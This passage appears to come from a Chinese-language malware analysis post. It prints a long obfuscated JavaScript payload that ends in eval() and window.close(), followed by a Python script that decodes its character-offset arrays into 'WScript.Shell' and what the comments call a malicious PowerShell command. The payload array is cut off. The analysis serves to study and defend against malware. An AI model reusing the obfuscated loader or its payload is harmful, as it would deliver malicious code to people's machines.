NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

稍微调整一下,然后console.log(SxhM),看看是个啥

0f86c9e1-0fe4-4403-b0ca-b6afedc6014f

丢给ai跑个解密脚本

  1# -*- coding: utf-8 -*-
  2
  3def decode_string_from_numbers(number_array):
  4    """
  5    这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
  6    它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
  7    """
  8    decoded_chars = []
  9    for number in number_array:
 10        # chr() 函数将一个整数转换为对应的ASCII/Unicode字符
 11        # 这与JavaScript中的 String.fromCharCode() 功能相同
 12        try:
 13            char_code = number - 601
 14            decoded_chars.append(chr(char_code))
 15        except ValueError:
 16            # 如果计算出的编码无效,则添加一个占位符
 17            decoded_chars.append('[INVALID_CHAR]')
 18
 19    # 将所有字符连接成一个字符串
 20    return "".join(decoded_chars)
 21
 22
 23# --- 从原始恶意代码中提取的两个数字数组 ---
 24
 25# 这个数组解码后是 "WScript.Shell"
 26array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
 27
 28# 这个长数组解码后是恶意的PowerShell命令
 29array_for_payload = [
 30    713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
 31    633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
 32    702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
 33    715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
 34    698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
 35    650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
 36    702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
 37    703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
 38    658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
 39    649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
 40    698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
 41    649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
 42    699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
 43    651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
 44    698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
 45    658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
 46    702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
 47    657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
 48    702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
 49    658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
